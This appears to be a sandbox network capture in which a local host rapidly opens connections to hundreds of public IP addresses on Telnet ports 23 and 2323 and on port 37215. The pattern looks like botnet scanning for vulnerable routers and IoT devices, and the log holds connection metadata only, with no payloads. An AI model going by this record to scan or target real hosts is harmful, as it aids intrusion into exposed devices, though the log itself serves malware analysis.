Jul 26, 2024 17:42:01.420604944 CEST	13638	23	192.168.2.15	140.145.113.166
Jul 26, 2024 17:42:01.420608044 CEST	2323	13638	156.196.100.153	192.168.2.15
Jul 26, 2024 17:42:01.420617104 CEST	23	13638	218.62.2.132	192.168.2.15
Jul 26, 2024 17:42:01.420617104 CEST	13638	23	192.168.2.15	84.226.146.123
Jul 26, 2024 17:42:01.420624971 CEST	23	13638	20.89.24.233	192.168.2.15
Jul 26, 2024 17:42:01.420629025 CEST	13638	23	192.168.2.15	170.20.243.220
Jul 26, 2024 17:42:01.420639038 CEST	13638	23	192.168.2.15	218.62.2.132
Jul 26, 2024 17:42:01.420641899 CEST	13638	2323	192.168.2.15	156.196.100.153
Jul 26, 2024 17:42:01.420660973 CEST	13638	23	192.168.2.15	163.173.176.121
Jul 26, 2024 17:42:01.420660973 CEST	13638	23	192.168.2.15	20.89.24.233
Jul 26, 2024 17:42:01.421016932 CEST	23	13638	113.182.164.142	192.168.2.15
Jul 26, 2024 17:42:01.421062946 CEST	13638	23	192.168.2.15	113.182.164.142
Jul 26, 2024 17:42:01.421071053 CEST	23	13638	54.234.247.211	192.168.2.15
Jul 26, 2024 17:42:01.421080112 CEST	23	13638	17.182.123.7	192.168.2.15
Jul 26, 2024 17:42:01.421087027 CEST	23	13638	104.168.2.173	192.168.2.15
Jul 26, 2024 17:42:01.421094894 CEST	23	13638	23.203.39.4	192.168.2.15
Jul 26, 2024 17:42:01.421103001 CEST	23	13638	206.175.151.223	192.168.2.15
Jul 26, 2024 17:42:01.421111107 CEST	23	13638	121.9.54.106	192.168.2.15
Jul 26, 2024 17:42:01.421114922 CEST	13638	23	192.168.2.15	54.234.247.211
Jul 26, 2024 17:42:01.421116114 CEST	13638	23	192.168.2.15	104.168.2.173
Jul 26, 2024 17:42:01.421114922 CEST	13638	23	192.168.2.15	17.182.123.7
Jul 26, 2024 17:42:01.421134949 CEST	23	13638	2.35.60.252	192.168.2.15
Jul 26, 2024 17:42:01.421135902 CEST	13638	23	192.168.2.15	23.203.39.4
Jul 26, 2024 17:42:01.421139002 CEST	13638	23	192.168.2.15	206.175.151.223
Jul 26, 2024 17:42:01.421139002 CEST	13638	23	192.168.2.15	121.9.54.106
Jul 26, 2024 17:42:01.421144962 CEST	23	13638	93.133.211.191	192.168.2.15
Jul 26, 2024 17:42:01.421154022 CEST	23	13638	62.17.235.81	192.168.2.15
Jul 26, 2024 17:42:01.421161890 CEST	2323	13638	106.24.249.36	192.168.2.15
Jul 26, 2024 17:42:01.421169996 CEST	23	13638	161.18.166.97	192.168.2.15
Jul 26, 2024 17:42:01.421175957 CEST	13638	23	192.168.2.15	2.35.60.252
Jul 26, 2024 17:42:01.421175957 CEST	13638	23	192.168.2.15	93.133.211.191
Jul 26, 2024 17:42:01.421175957 CEST	13638	23	192.168.2.15	62.17.235.81
Jul 26, 2024 17:42:01.421179056 CEST	23	13638	221.162.92.52	192.168.2.15
Jul 26, 2024 17:42:01.421188116 CEST	23	13638	168.109.102.62	192.168.2.15
Jul 26, 2024 17:42:01.421195984 CEST	23	13638	193.172.194.239	192.168.2.15
Jul 26, 2024 17:42:01.421204090 CEST	23	13638	149.102.194.140	192.168.2.15
Jul 26, 2024 17:42:01.421228886 CEST	13638	2323	192.168.2.15	218.231.234.24
Jul 26, 2024 17:42:01.421228886 CEST	13638	23	192.168.2.15	168.109.102.62
Jul 26, 2024 17:42:01.421236038 CEST	13638	23	192.168.2.15	149.102.194.140
Jul 26, 2024 17:42:01.421240091 CEST	13638	23	192.168.2.15	193.172.194.239
Jul 26, 2024 17:42:01.421487093 CEST	13638	2323	192.168.2.15	106.24.249.36
Jul 26, 2024 17:42:01.421487093 CEST	13638	23	192.168.2.15	161.18.166.97
Jul 26, 2024 17:42:01.421488047 CEST	13638	23	192.168.2.15	221.162.92.52
Jul 26, 2024 17:42:01.421750069 CEST	23	13638	136.37.106.183	192.168.2.15
Jul 26, 2024 17:42:01.421788931 CEST	13638	23	192.168.2.15	136.37.106.183
Jul 26, 2024 17:42:01.421945095 CEST	23	13638	104.56.163.24	192.168.2.15
Jul 26, 2024 17:42:01.421953917 CEST	23	13638	86.187.36.67	192.168.2.15
Jul 26, 2024 17:42:01.421962976 CEST	23	13638	45.36.185.18	192.168.2.15
Jul 26, 2024 17:42:01.421972036 CEST	23	13638	114.88.200.247	192.168.2.15
Jul 26, 2024 17:42:01.421981096 CEST	13638	23	192.168.2.15	104.56.163.24
Jul 26, 2024 17:42:01.421988010 CEST	23	13638	142.188.48.38	192.168.2.15
Jul 26, 2024 17:42:01.421989918 CEST	13638	23	192.168.2.15	86.187.36.67
Jul 26, 2024 17:42:01.421989918 CEST	13638	23	192.168.2.15	45.36.185.18
Jul 26, 2024 17:42:01.421996117 CEST	23	13638	122.119.224.209	192.168.2.15
Jul 26, 2024 17:42:01.422004938 CEST	13638	23	192.168.2.15	114.88.200.247
Jul 26, 2024 17:42:01.422019005 CEST	13638	23	192.168.2.15	142.188.48.38
Jul 26, 2024 17:42:01.422084093 CEST	23	13638	151.88.131.95	192.168.2.15
Jul 26, 2024 17:42:01.422091961 CEST	23	13638	84.166.167.222	192.168.2.15
Jul 26, 2024 17:42:01.422100067 CEST	23	13638	102.173.121.204	192.168.2.15
Jul 26, 2024 17:42:01.422110081 CEST	2323	13638	173.64.58.167	192.168.2.15
Jul 26, 2024 17:42:01.422123909 CEST	13638	23	192.168.2.15	122.119.224.209
Jul 26, 2024 17:42:01.422123909 CEST	13638	23	192.168.2.15	151.88.131.95
Jul 26, 2024 17:42:01.422123909 CEST	13638	23	192.168.2.15	84.166.167.222
Jul 26, 2024 17:42:01.422132015 CEST	13638	23	192.168.2.15	102.173.121.204
Jul 26, 2024 17:42:01.422209978 CEST	23	13638	187.187.134.198	192.168.2.15
Jul 26, 2024 17:42:01.422210932 CEST	13638	2323	192.168.2.15	173.64.58.167
Jul 26, 2024 17:42:01.422307968 CEST	13638	23	192.168.2.15	187.187.134.198
Jul 26, 2024 17:42:01.422489882 CEST	44022	2323	192.168.2.15	45.56.59.253
Jul 26, 2024 17:42:01.422827959 CEST	23	13638	183.81.148.64	192.168.2.15
Jul 26, 2024 17:42:01.422838926 CEST	23	13638	47.75.187.133	192.168.2.15
Jul 26, 2024 17:42:01.422847033 CEST	23	13638	130.19.155.57	192.168.2.15
Jul 26, 2024 17:42:01.422854900 CEST	23	13638	121.212.246.240	192.168.2.15
Jul 26, 2024 17:42:01.422862053 CEST	13638	23	192.168.2.15	47.75.187.133
Jul 26, 2024 17:42:01.422863007 CEST	23	13638	126.178.108.0	192.168.2.15
Jul 26, 2024 17:42:01.422871113 CEST	23	13638	121.190.107.23	192.168.2.15
Jul 26, 2024 17:42:01.422889948 CEST	13638	23	192.168.2.15	130.19.155.57
Jul 26, 2024 17:42:01.422895908 CEST	2323	13638	206.114.233.25	192.168.2.15
Jul 26, 2024 17:42:01.422904968 CEST	23	13638	109.189.66.10	192.168.2.15
Jul 26, 2024 17:42:01.422913074 CEST	23	13638	114.197.6.251	192.168.2.15
Jul 26, 2024 17:42:01.422914028 CEST	13638	23	192.168.2.15	126.178.108.0
Jul 26, 2024 17:42:01.422921896 CEST	23	13638	178.134.214.3	192.168.2.15
Jul 26, 2024 17:42:01.422921896 CEST	13638	23	192.168.2.15	121.190.107.23
Jul 26, 2024 17:42:01.422933102 CEST	23	13638	177.153.35.214	192.168.2.15
Jul 26, 2024 17:42:01.422935963 CEST	13638	23	192.168.2.15	114.197.6.251
Jul 26, 2024 17:42:01.422941923 CEST	23	13638	117.142.26.223	192.168.2.15
Jul 26, 2024 17:42:01.423001051 CEST	13638	23	192.168.2.15	177.153.35.214
Jul 26, 2024 17:42:01.423002958 CEST	13638	23	192.168.2.15	183.81.148.64
Jul 26, 2024 17:42:01.423002958 CEST	13638	23	192.168.2.15	117.142.26.223
Jul 26, 2024 17:42:01.423006058 CEST	13638	23	192.168.2.15	121.212.246.240
Jul 26, 2024 17:42:01.423006058 CEST	13638	2323	192.168.2.15	206.114.233.25
Jul 26, 2024 17:42:01.423006058 CEST	13638	23	192.168.2.15	109.189.66.10
Jul 26, 2024 17:42:01.423006058 CEST	13638	23	192.168.2.15	178.134.214.3
Jul 26, 2024 17:42:01.423053980 CEST	2323	13638	24.123.51.191	192.168.2.15
Jul 26, 2024 17:42:01.423063993 CEST	23	13638	141.49.229.189	192.168.2.15
Jul 26, 2024 17:42:01.423070908 CEST	23	13638	197.31.85.14	192.168.2.15
Jul 26, 2024 17:42:01.423078060 CEST	23	13638	181.160.232.205	192.168.2.15
Jul 26, 2024 17:42:01.423086882 CEST	23	13638	108.39.124.228	192.168.2.15
Jul 26, 2024 17:42:01.423094988 CEST	23	13638	183.123.187.201	192.168.2.15
Jul 26, 2024 17:42:01.423099041 CEST	2323	13638	88.210.47.71	192.168.2.15
Jul 26, 2024 17:42:01.423101902 CEST	23	13638	148.71.194.45	192.168.2.15
Jul 26, 2024 17:42:01.423109055 CEST	23	13638	200.75.214.4	192.168.2.15
Jul 26, 2024 17:42:01.423118114 CEST	23	13638	117.239.80.23	192.168.2.15
Jul 26, 2024 17:42:01.423121929 CEST	13638	23	192.168.2.15	108.39.124.228
Jul 26, 2024 17:42:01.423121929 CEST	13638	23	192.168.2.15	183.123.187.201
Jul 26, 2024 17:42:01.423121929 CEST	13638	2323	192.168.2.15	88.210.47.71
Jul 26, 2024 17:42:01.423125982 CEST	23	13638	100.224.178.139	192.168.2.15
Jul 26, 2024 17:42:01.423134089 CEST	2323	13638	8.157.4.131	192.168.2.15
Jul 26, 2024 17:42:01.423137903 CEST	13638	23	192.168.2.15	148.71.194.45
Jul 26, 2024 17:42:01.423145056 CEST	23	13638	161.212.211.11	192.168.2.15
Jul 26, 2024 17:42:01.423150063 CEST	13638	23	192.168.2.15	197.31.85.14
Jul 26, 2024 17:42:01.423150063 CEST	13638	23	192.168.2.15	200.75.214.4
Jul 26, 2024 17:42:01.423156977 CEST	13638	23	192.168.2.15	181.160.232.205
Jul 26, 2024 17:42:01.423156977 CEST	13638	23	192.168.2.15	100.224.178.139
Jul 26, 2024 17:42:01.423160076 CEST	13638	2323	192.168.2.15	8.157.4.131
Jul 26, 2024 17:42:01.423166037 CEST	23	13638	159.203.136.187	192.168.2.15
Jul 26, 2024 17:42:01.423170090 CEST	13638	23	192.168.2.15	117.239.80.23
Jul 26, 2024 17:42:01.423176050 CEST	23	13638	115.213.173.44	192.168.2.15
Jul 26, 2024 17:42:01.423183918 CEST	23	13638	147.42.233.13	192.168.2.15
Jul 26, 2024 17:42:01.423183918 CEST	13638	23	192.168.2.15	161.212.211.11
Jul 26, 2024 17:42:01.423213005 CEST	13638	23	192.168.2.15	147.42.233.13
Jul 26, 2024 17:42:01.423213959 CEST	13638	2323	192.168.2.15	24.123.51.191
Jul 26, 2024 17:42:01.423214912 CEST	13638	23	192.168.2.15	159.203.136.187
Jul 26, 2024 17:42:01.423213959 CEST	13638	23	192.168.2.15	115.213.173.44
Jul 26, 2024 17:42:01.423296928 CEST	13638	23	192.168.2.15	141.49.229.189
Jul 26, 2024 17:42:01.423697948 CEST	23	13638	202.164.167.103	192.168.2.15
Jul 26, 2024 17:42:01.423707962 CEST	23	13638	38.150.16.2	192.168.2.15
Jul 26, 2024 17:42:01.423716068 CEST	23	13638	185.233.18.39	192.168.2.15
Jul 26, 2024 17:42:01.423722982 CEST	23	13638	205.95.222.31	192.168.2.15
Jul 26, 2024 17:42:01.423727036 CEST	23	13638	203.234.29.171	192.168.2.15
Jul 26, 2024 17:42:01.423736095 CEST	23	13638	133.74.235.192	192.168.2.15
Jul 26, 2024 17:42:01.423743963 CEST	23	13638	131.197.110.237	192.168.2.15
Jul 26, 2024 17:42:01.423753023 CEST	23	13638	35.96.94.181	192.168.2.15
Jul 26, 2024 17:42:01.423759937 CEST	13638	23	192.168.2.15	205.95.222.31
Jul 26, 2024 17:42:01.423763037 CEST	13638	23	192.168.2.15	202.164.167.103
Jul 26, 2024 17:42:01.423763037 CEST	13638	23	192.168.2.15	38.150.16.2
Jul 26, 2024 17:42:01.423763037 CEST	13638	23	192.168.2.15	185.233.18.39
Jul 26, 2024 17:42:01.423763037 CEST	13638	23	192.168.2.15	131.197.110.237
Jul 26, 2024 17:42:01.423767090 CEST	2323	13638	176.238.17.38	192.168.2.15
Jul 26, 2024 17:42:01.423775911 CEST	23	13638	165.211.226.14	192.168.2.15
Jul 26, 2024 17:42:01.423779011 CEST	13638	23	192.168.2.15	203.234.29.171
Jul 26, 2024 17:42:01.423784971 CEST	23	13638	1.211.244.87	192.168.2.15
Jul 26, 2024 17:42:01.423795938 CEST	13638	2323	192.168.2.15	176.238.17.38
Jul 26, 2024 17:42:01.423803091 CEST	13638	23	192.168.2.15	133.74.235.192
Jul 26, 2024 17:42:01.423804998 CEST	23	13638	42.35.186.80	192.168.2.15
Jul 26, 2024 17:42:01.423810005 CEST	13638	23	192.168.2.15	165.211.226.14
Jul 26, 2024 17:42:01.423818111 CEST	23	13638	20.163.85.105	192.168.2.15
Jul 26, 2024 17:42:01.423823118 CEST	13638	23	192.168.2.15	35.96.94.181
Jul 26, 2024 17:42:01.423823118 CEST	13638	23	192.168.2.15	1.211.244.87
Jul 26, 2024 17:42:01.423825026 CEST	23	13638	24.198.187.199	192.168.2.15
Jul 26, 2024 17:42:01.423832893 CEST	23	13638	176.211.71.29	192.168.2.15
Jul 26, 2024 17:42:01.423841953 CEST	23	13638	180.205.228.112	192.168.2.15
Jul 26, 2024 17:42:01.423849106 CEST	23	13638	90.20.135.79	192.168.2.15
Jul 26, 2024 17:42:01.423860073 CEST	13638	23	192.168.2.15	24.198.187.199
Jul 26, 2024 17:42:01.423875093 CEST	23	13638	134.170.95.18	192.168.2.15
Jul 26, 2024 17:42:01.423878908 CEST	13638	23	192.168.2.15	176.211.71.29
Jul 26, 2024 17:42:01.423883915 CEST	23	13638	119.88.190.100	192.168.2.15
Jul 26, 2024 17:42:01.423892975 CEST	23	13638	135.24.188.12	192.168.2.15
Jul 26, 2024 17:42:01.423899889 CEST	13638	23	192.168.2.15	90.20.135.79
Jul 26, 2024 17:42:01.423902035 CEST	23	13638	81.81.174.250	192.168.2.15
Jul 26, 2024 17:42:01.423911095 CEST	23	13638	159.6.185.249	192.168.2.15
Jul 26, 2024 17:42:01.423918962 CEST	23	13638	169.105.123.152	192.168.2.15
Jul 26, 2024 17:42:01.423928022 CEST	23	13638	66.37.137.207	192.168.2.15
Jul 26, 2024 17:42:01.423934937 CEST	23	13638	135.161.158.200	192.168.2.15
Jul 26, 2024 17:42:01.423937082 CEST	13638	23	192.168.2.15	134.170.95.18
Jul 26, 2024 17:42:01.423937082 CEST	13638	23	192.168.2.15	81.81.174.250
Jul 26, 2024 17:42:01.423938036 CEST	13638	23	192.168.2.15	135.24.188.12
Jul 26, 2024 17:42:01.423943043 CEST	23	13638	222.130.95.18	192.168.2.15
Jul 26, 2024 17:42:01.423950911 CEST	23	13638	187.80.69.134	192.168.2.15
Jul 26, 2024 17:42:01.423959017 CEST	13638	23	192.168.2.15	135.161.158.200
Jul 26, 2024 17:42:01.423966885 CEST	23	13638	186.13.80.232	192.168.2.15
Jul 26, 2024 17:42:01.423995972 CEST	13638	23	192.168.2.15	187.80.69.134
Jul 26, 2024 17:42:01.424002886 CEST	13638	23	192.168.2.15	186.13.80.232
Jul 26, 2024 17:42:01.424005985 CEST	2323	13638	216.191.144.40	192.168.2.15
Jul 26, 2024 17:42:01.424015045 CEST	23	13638	189.2.82.27	192.168.2.15
Jul 26, 2024 17:42:01.424022913 CEST	23	13638	99.230.44.19	192.168.2.15
Jul 26, 2024 17:42:01.424031019 CEST	23	13638	116.20.230.96	192.168.2.15
Jul 26, 2024 17:42:01.424038887 CEST	23	13638	32.75.92.235	192.168.2.15
Jul 26, 2024 17:42:01.424046993 CEST	23	13638	13.192.6.80	192.168.2.15
Jul 26, 2024 17:42:01.424047947 CEST	13638	23	192.168.2.15	169.105.123.152
Jul 26, 2024 17:42:01.424047947 CEST	13638	23	192.168.2.15	189.2.82.27
Jul 26, 2024 17:42:01.424056053 CEST	13638	23	192.168.2.15	99.230.44.19
Jul 26, 2024 17:42:01.424056053 CEST	23	13638	210.146.16.21	192.168.2.15
Jul 26, 2024 17:42:01.424056053 CEST	13638	2323	192.168.2.15	216.191.144.40
Jul 26, 2024 17:42:01.424068928 CEST	2323	13638	208.80.217.175	192.168.2.15
Jul 26, 2024 17:42:01.424074888 CEST	13638	23	192.168.2.15	32.75.92.235
Jul 26, 2024 17:42:01.424074888 CEST	13638	23	192.168.2.15	13.192.6.80
Jul 26, 2024 17:42:01.424087048 CEST	2323	52306	175.246.253.122	192.168.2.15
Jul 26, 2024 17:42:01.424094915 CEST	37215	39876	207.108.14.112	192.168.2.15
Jul 26, 2024 17:42:01.424103975 CEST	23	44298	101.73.197.120	192.168.2.15
Jul 26, 2024 17:42:01.424123049 CEST	52306	2323	192.168.2.15	175.246.253.122
Jul 26, 2024 17:42:01.424134016 CEST	39876	37215	192.168.2.15	207.108.14.112
Jul 26, 2024 17:42:01.424161911 CEST	44298	23	192.168.2.15	101.73.197.120
Jul 26, 2024 17:42:01.424231052 CEST	13638	23	192.168.2.15	116.20.230.96
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	42.35.186.80
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	20.163.85.105
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	180.205.228.112
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	119.88.190.100
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	159.6.185.249
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	66.37.137.207
Jul 26, 2024 17:42:01.424237013 CEST	13638	23	192.168.2.15	222.130.95.18
Jul 26, 2024 17:42:01.424263000 CEST	13638	23	192.168.2.15	210.146.16.21
Jul 26, 2024 17:42:01.424263000 CEST	13638	2323	192.168.2.15	208.80.217.175
Jul 26, 2024 17:42:01.424433947 CEST	37215	49866	157.227.157.81	192.168.2.15
Jul 26, 2024 17:42:01.424443960 CEST	23	52274	179.115.151.122	192.168.2.15
Jul 26, 2024 17:42:01.424452066 CEST	37215	38516	157.134.10.99	192.168.2.15
Jul 26, 2024 17:42:01.424460888 CEST	23	58038	144.33.172.221	192.168.2.15
Jul 26, 2024 17:42:01.424470901 CEST	49866	37215	192.168.2.15	157.227.157.81
Jul 26, 2024 17:42:01.424477100 CEST	37215	38494	157.240.175.32	192.168.2.15
Jul 26, 2024 17:42:01.424489975 CEST	23	41548	204.185.152.10	192.168.2.15
Jul 26, 2024 17:42:01.424499989 CEST	23	34536	211.120.72.1	192.168.2.15
Jul 26, 2024 17:42:01.424499989 CEST	52274	23	192.168.2.15	179.115.151.122
Jul 26, 2024 17:42:01.424499989 CEST	58038	23	192.168.2.15	144.33.172.221
Jul 26, 2024 17:42:01.424504042 CEST	38516	37215	192.168.2.15	157.134.10.99
Jul 26, 2024 17:42:01.424510002 CEST	37215	48448	61.22.190.108	192.168.2.15
Jul 26, 2024 17:42:01.424519062 CEST	23	34182	194.120.113.180	192.168.2.15
Jul 26, 2024 17:42:01.424526930 CEST	37215	43240	157.99.99.134	192.168.2.15
Jul 26, 2024 17:42:01.424525023 CEST	38494	37215	192.168.2.15	157.240.175.32
Jul 26, 2024 17:42:01.424525023 CEST	41548	23	192.168.2.15	204.185.152.10
Jul 26, 2024 17:42:01.424536943 CEST	23	46416	102.250.222.209	192.168.2.15
Jul 26, 2024 17:42:01.424546957 CEST	37215	59960	197.180.65.41	192.168.2.15
Jul 26, 2024 17:42:01.424551964 CEST	34536	23	192.168.2.15	211.120.72.1
Jul 26, 2024 17:42:01.424551964 CEST	34182	23	192.168.2.15	194.120.113.180
Jul 26, 2024 17:42:01.424561024 CEST	43240	37215	192.168.2.15	157.99.99.134
Jul 26, 2024 17:42:01.424603939 CEST	46416	23	192.168.2.15	102.250.222.209
Jul 26, 2024 17:42:01.424653053 CEST	59960	37215	192.168.2.15	197.180.65.41
Jul 26, 2024 17:42:01.424654007 CEST	48448	37215	192.168.2.15	61.22.190.108
Jul 26, 2024 17:42:01.424835920 CEST	37816	37215	192.168.2.15	197.12.225.63
Jul 26, 2024 17:42:01.424866915 CEST	23	39986	80.29.133.232	192.168.2.15
Jul 26, 2024 17:42:01.424876928 CEST	37215	55412	157.144.55.235	192.168.2.15
Jul 26, 2024 17:42:01.424885035 CEST	23	36520	213.106.54.151	192.168.2.15
Jul 26, 2024 17:42:01.424892902 CEST	37215	60248	197.116.207.198	192.168.2.15
Jul 26, 2024 17:42:01.424901009 CEST	2323	45772	177.94.165.208	192.168.2.15
Jul 26, 2024 17:42:01.424909115 CEST	37215	45972	41.113.87.213	192.168.2.15
Jul 26, 2024 17:42:01.424917936 CEST	23	60844	138.154.141.246	192.168.2.15
Jul 26, 2024 17:42:01.424921989 CEST	39986	23	192.168.2.15	80.29.133.232
Jul 26, 2024 17:42:01.424921989 CEST	55412	37215	192.168.2.15	157.144.55.235
Jul 26, 2024 17:42:01.424926043 CEST	37215	55860	41.167.142.160	192.168.2.15
Jul 26, 2024 17:42:01.424932003 CEST	60248	37215	192.168.2.15	197.116.207.198
Jul 26, 2024 17:42:01.424941063 CEST	23	60484	74.128.222.157	192.168.2.15
Jul 26, 2024 17:42:01.424946070 CEST	45772	2323	192.168.2.15	177.94.165.208
Jul 26, 2024 17:42:01.424951077 CEST	23	48012	19.215.203.161	192.168.2.15
Jul 26, 2024 17:42:01.424957037 CEST	60844	23	192.168.2.15	138.154.141.246
Jul 26, 2024 17:42:01.424962997 CEST	37215	35202	197.174.75.69	192.168.2.15
Jul 26, 2024 17:42:01.424967051 CEST	45972	37215	192.168.2.15	41.113.87.213
Jul 26, 2024 17:42:01.424973011 CEST	55860	37215	192.168.2.15	41.167.142.160
Jul 26, 2024 17:42:01.424974918 CEST	23	48346	191.116.157.172	192.168.2.15
Jul 26, 2024 17:42:01.424983978 CEST	37215	51354	197.136.189.68	192.168.2.15
Jul 26, 2024 17:42:01.424987078 CEST	36520	23	192.168.2.15	213.106.54.151
Jul 26, 2024 17:42:01.424987078 CEST	48012	23	192.168.2.15	19.215.203.161
Jul 26, 2024 17:42:01.424987078 CEST	60484	23	192.168.2.15	74.128.222.157
Jul 26, 2024 17:42:01.424993992 CEST	35202	37215	192.168.2.15	197.174.75.69
Jul 26, 2024 17:42:01.425010920 CEST	48346	23	192.168.2.15	191.116.157.172
Jul 26, 2024 17:42:01.425075054 CEST	51354	37215	192.168.2.15	197.136.189.68
Jul 26, 2024 17:42:01.425354958 CEST	36408	23	192.168.2.15	213.174.101.73
Jul 26, 2024 17:42:01.425477028 CEST	23	49388	103.187.206.74	192.168.2.15
Jul 26, 2024 17:42:01.425487041 CEST	37215	51484	197.130.107.44	192.168.2.15
Jul 26, 2024 17:42:01.425494909 CEST	23	58818	39.230.163.238	192.168.2.15
Jul 26, 2024 17:42:01.425503016 CEST	37215	59772	41.190.82.104	192.168.2.15
Jul 26, 2024 17:42:01.425510883 CEST	23	34440	107.228.148.188	192.168.2.15
Jul 26, 2024 17:42:01.425514936 CEST	49388	23	192.168.2.15	103.187.206.74
Jul 26, 2024 17:42:01.425519943 CEST	37215	47726	157.131.83.80	192.168.2.15
Jul 26, 2024 17:42:01.425523043 CEST	58818	23	192.168.2.15	39.230.163.238
Jul 26, 2024 17:42:01.425529003 CEST	23	42718	133.24.22.139	192.168.2.15
Jul 26, 2024 17:42:01.425537109 CEST	37215	50092	197.113.28.145	192.168.2.15
Jul 26, 2024 17:42:01.425544977 CEST	59772	37215	192.168.2.15	41.190.82.104
Jul 26, 2024 17:42:01.425546885 CEST	23	56638	130.94.117.27	192.168.2.15
Jul 26, 2024 17:42:01.425551891 CEST	34440	23	192.168.2.15	107.228.148.188
Jul 26, 2024 17:42:01.425569057 CEST	50092	37215	192.168.2.15	197.113.28.145
Jul 26, 2024 17:42:01.425586939 CEST	56638	23	192.168.2.15	130.94.117.27
Jul 26, 2024 17:42:01.425635099 CEST	47726	37215	192.168.2.15	157.131.83.80
Jul 26, 2024 17:42:01.425635099 CEST	51484	37215	192.168.2.15	197.130.107.44
Jul 26, 2024 17:42:01.425636053 CEST	42718	23	192.168.2.15	133.24.22.139
Jul 26, 2024 17:42:01.426361084 CEST	37215	46172	41.234.173.92	192.168.2.15
Jul 26, 2024 17:42:01.426371098 CEST	2323	55252	67.160.16.34	192.168.2.15
Jul 26, 2024 17:42:01.426429987 CEST	46172	37215	192.168.2.15	41.234.173.92
Jul 26, 2024 17:42:01.426429987 CEST	55252	2323	192.168.2.15	67.160.16.34
Jul 26, 2024 17:42:01.427529097 CEST	44616	37215	192.168.2.15	149.76.30.6
Jul 26, 2024 17:42:01.427676916 CEST	23	38168	138.224.244.61	192.168.2.15
Jul 26, 2024 17:42:01.427746058 CEST	38168	23	192.168.2.15	138.224.244.61
Jul 26, 2024 17:42:01.427820921 CEST	43784	23	192.168.2.15	73.161.60.217
Jul 26, 2024 17:42:01.428059101 CEST	37215	37812	157.194.249.71	192.168.2.15
Jul 26, 2024 17:42:01.428098917 CEST	37812	37215	192.168.2.15	157.194.249.71
Jul 26, 2024 17:42:01.429733038 CEST	23	41564	17.121.93.76	192.168.2.15
Jul 26, 2024 17:42:01.429742098 CEST	37215	54202	197.76.235.85	192.168.2.15
Jul 26, 2024 17:42:01.429776907 CEST	41564	23	192.168.2.15	17.121.93.76
Jul 26, 2024 17:42:01.429797888 CEST	54202	37215	192.168.2.15	197.76.235.85
Jul 26, 2024 17:42:01.429975986 CEST	60514	23	192.168.2.15	128.50.47.70
Jul 26, 2024 17:42:01.430469036 CEST	36858	37215	192.168.2.15	197.112.4.97
Jul 26, 2024 17:42:01.430507898 CEST	23	36654	44.79.122.144	192.168.2.15
Jul 26, 2024 17:42:01.430582047 CEST	36654	23	192.168.2.15	44.79.122.144
Jul 26, 2024 17:42:01.431046009 CEST	37215	46688	197.43.30.179	192.168.2.15
Jul 26, 2024 17:42:01.431122065 CEST	46688	37215	192.168.2.15	197.43.30.179
Jul 26, 2024 17:42:01.432723045 CEST	56028	23	192.168.2.15	139.103.184.207
Jul 26, 2024 17:42:01.433420897 CEST	41604	37215	192.168.2.15	41.160.9.226
Jul 26, 2024 17:42:01.434423923 CEST	23	36570	131.119.172.119	192.168.2.15
Jul 26, 2024 17:42:01.434467077 CEST	37215	38984	157.253.160.68	192.168.2.15
Jul 26, 2024 17:42:01.434475899 CEST	23	54624	103.64.199.60	192.168.2.15
Jul 26, 2024 17:42:01.434485912 CEST	36570	23	192.168.2.15	131.119.172.119
Jul 26, 2024 17:42:01.434562922 CEST	38984	37215	192.168.2.15	157.253.160.68
Jul 26, 2024 17:42:01.434565067 CEST	54624	23	192.168.2.15	103.64.199.60
Jul 26, 2024 17:42:01.435079098 CEST	44668	23	192.168.2.15	130.69.15.88
Jul 26, 2024 17:42:01.435976028 CEST	36994	37215	192.168.2.15	158.129.148.234
Jul 26, 2024 17:42:01.437009096 CEST	37215	49092	211.6.214.175	192.168.2.15
Jul 26, 2024 17:42:01.437048912 CEST	49092	37215	192.168.2.15	211.6.214.175
Jul 26, 2024 17:42:01.437489033 CEST	46828	23	192.168.2.15	14.150.216.58
Jul 26, 2024 17:42:01.438561916 CEST	53240	37215	192.168.2.15	197.1.219.105
Jul 26, 2024 17:42:01.439475060 CEST	40336	23	192.168.2.15	153.120.13.66
Jul 26, 2024 17:42:01.439611912 CEST	2323	44022	45.56.59.253	192.168.2.15
Jul 26, 2024 17:42:01.439620972 CEST	37215	37816	197.12.225.63	192.168.2.15
Jul 26, 2024 17:42:01.439625978 CEST	23	36408	213.174.101.73	192.168.2.15
Jul 26, 2024 17:42:01.439661026 CEST	37816	37215	192.168.2.15	197.12.225.63
Jul 26, 2024 17:42:01.439662933 CEST	44022	2323	192.168.2.15	45.56.59.253
Jul 26, 2024 17:42:01.439665079 CEST	36408	23	192.168.2.15	213.174.101.73
Jul 26, 2024 17:42:01.439687967 CEST	37215	44616	149.76.30.6	192.168.2.15
Jul 26, 2024 17:42:01.439697027 CEST	23	43784	73.161.60.217	192.168.2.15
Jul 26, 2024 17:42:01.439704895 CEST	23	60514	128.50.47.70	192.168.2.15
Jul 26, 2024 17:42:01.439712048 CEST	37215	36858	197.112.4.97	192.168.2.15
Jul 26, 2024 17:42:01.439716101 CEST	23	56028	139.103.184.207	192.168.2.15
Jul 26, 2024 17:42:01.439728975 CEST	44616	37215	192.168.2.15	149.76.30.6
Jul 26, 2024 17:42:01.439739943 CEST	56028	23	192.168.2.15	139.103.184.207
Jul 26, 2024 17:42:01.439740896 CEST	60514	23	192.168.2.15	128.50.47.70
Jul 26, 2024 17:42:01.439747095 CEST	43784	23	192.168.2.15	73.161.60.217
Jul 26, 2024 17:42:01.439796925 CEST	36858	37215	192.168.2.15	197.112.4.97
Jul 26, 2024 17:42:01.441047907 CEST	48610	37215	192.168.2.15	197.96.107.38
Jul 26, 2024 17:42:01.441694021 CEST	37215	41604	41.160.9.226	192.168.2.15
Jul 26, 2024 17:42:01.441701889 CEST	23	44668	130.69.15.88	192.168.2.15
Jul 26, 2024 17:42:01.441709042 CEST	37215	36994	158.129.148.234	192.168.2.15
Jul 26, 2024 17:42:01.441732883 CEST	41604	37215	192.168.2.15	41.160.9.226
Jul 26, 2024 17:42:01.441732883 CEST	44668	23	192.168.2.15	130.69.15.88
Jul 26, 2024 17:42:01.441740036 CEST	36994	37215	192.168.2.15	158.129.148.234
Jul 26, 2024 17:42:01.442011118 CEST	41322	23	192.168.2.15	82.120.114.143
